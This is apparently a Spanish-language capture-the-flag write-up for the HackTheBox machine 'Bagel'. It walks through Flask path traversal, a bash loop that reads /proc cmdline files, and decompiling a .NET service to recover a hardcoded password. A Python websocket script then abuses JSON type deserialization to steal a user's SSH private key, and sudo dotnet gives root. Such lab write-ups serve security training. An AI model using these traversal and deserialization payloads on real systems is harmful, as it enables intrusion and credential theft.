Table of contents
Reconocimiento
Primero debemos comprobar si tenemos conexión con nuestro objetivo, el cual es 10.10.11.201
.
Realizaremos un ping a la dirección IP y podemos comprobar que tenemos conexión, así también observar según el ttl que nos encontramos con un Linux.
Enumeración
Haciendo uso de Nmap podemos observar que tenemos los siguientes puertos abiertos.
Realizamos un análisis más profundo con estos puertos 22,5000,8000
. Donde podemos observar que hacen referencia al dominio bagel.htb
.
Como pudimos observar no tenemos habilitado la conexión HTTP por el puerto 80 y según la respuesta esta conexión se está realizando por el puerto 8000, por ello para tener más información del sitio empleamos whatweb
. Al terminar de ejecutarse podemos observar que nos indica un error y nos muestra la dirección de dominio que observamos cuando usamos nmap, por ello procedemos a agregar el dominio a nuestro archivo hosts.
Luego de agregarlo podemos ver mayor información
Ingresamos a la dirección y podemos observar percibir que es potencial a que exista la posibilidad de un "Path Traversal".
Probaremos reemplazando con un path común el cual hace referencia a la dirección /etc/passwd
, al enviarlo podemos observar que nos genera un archivo de descarga.
Abrimos el archivo que descargamos y podemos observar que la información corresponde al archivo passwd
.
Explotación
Como pudimos comprobar que si es posible obtener archivos, haremos fuzzing a la dirección para buscar más archivos interesantes, para ello ejecutaremos wfuzz -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt seUZZ | grep -v 14
. Cuando termine de ejecutar podemos observar que tenemos muchas direcciones, por lo que procedemos a buscar entre todos los resultados.
Llegando al final de los resultados podemos observar lo siguiente y es una dirección que nos llama la atención, ya que si podemos leer este archivo nosotros podemos obtener información sobre cómo se inició el proceso en el que estás interesado
descargamos el archivo que nos presenta
luego de descargar podemos observar que hace referencia al archivo app.py
nos dirigimos a esta dirección considerando diversas rutas, pero las que nos funciona es considerando regresar solo una carpeta y el nombre de la aplicación, ya que de esta manera nos deja descargar el archivo.
Al abrir el archivo podemos encontrarnos con el siguiente código y lo que nos llama la atención es el texto que indica don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
Por ello intentaremos buscar por el PID así obtenemos algún archivo o información relacionada dotnet
.
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Para facilitar esta búsqueda haremos uso de Burp suite y para ello capturaremos la consulta y la modificaremos para que nos haga una búsqueda por los números de procesos y lo tendríamos de la siguiente manera:
Luego de esperar un momento hasta que termine la identificación, cuando esta termine, procedemos a ordenar por longitud y vamos haciendo clic hasta encontrar el nombre dotnet
como se puede apreciar en la imagen.
Así también podemos optar por otra opción, la cual es realizando una consulta por consola, para ello usamos un script de la siguiente manera, hacemos uso de 900 - 1000 para facilitar debido a que sabemos en qué rango está el archivo que buscamos.
#!/bin/bash
for i in $(seq 900 1000); do
curl 10.129.160.55:8000/?page=../../../../proc/$i/cmdline -o -
echo "PID => $i"
done
Damos permisos de ejecución y lo corremos, esperando unos segundos podemos ver que encontramos el mismo resultado de cierta manera más visible
Como tenemos una ruta que obtuvimos por medio del número de PID identificado el cual es el 963 podemos obtener el archivo, para ello abrimos una nueva pestaña e ingresamos la dirección y nos saltará el recuadro de descarga del archivo y continuamos.
Para poder revisar el contenido de este archivo lo llevamos a nuestra sesión de Windows donde usaremos dnSpy
. Al abrirlo y revisar podemos encontrar varias cosas interesantes.
Primero podemos observar que en esta sección hay unas posibles credenciales ID=dev;Password=k8wdAYYKyhnjg3K
En la sección de File podemos observar lo siguiente, que la clase ReadFile
, no filtra el contenido y lee directamente el archivo.
Y si hacemos clic en ReadContent nos redirige
Revisando referente a ello en el archivo llegamos a Orders
donde podemos ver que también tenemos la opción de RemoveOrder
.
Por ello haciendo uso de un script
#!/usr/bin/python3
import websocket,json
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/")
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../../../home/phil/.ssh/id_rsa" }}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)
Luego de ejecutarlo recibimos como respuesta la id_rsa, la cual copiaremos y guardaremos en el formato que corresponde.
Debido a que tenemos el id_rsa ahora estableceremos una conexión ssh con el usuario y como podemos observar ya tenemos acceso al flag de usuario
para poder elevar privilegios accedemos como otro usuario, en este caso lo hacemos con el nombre de developer
así, también recordemos que al momento de analizar el archivo obtuvimos unas credenciales, con ellas probamos loguearnos y podemos acceder como ese usuario.
Tratamos de acceder como root, pero no tenemos los permisos necesarios para ello.
Ahora para obtener el root intentaremos ver qué permisos tenemos haciendo uso de sudo -l
, para ello podemos observar que tenemos permisos para ejecutar dotnet
como root.
Revisando en gtfobins.github.io/gtfobins/dotnet/#sudo podemos observar
ejecutamos los comando y ya tendríamos permisos de root, en consecuencia acceso al flag.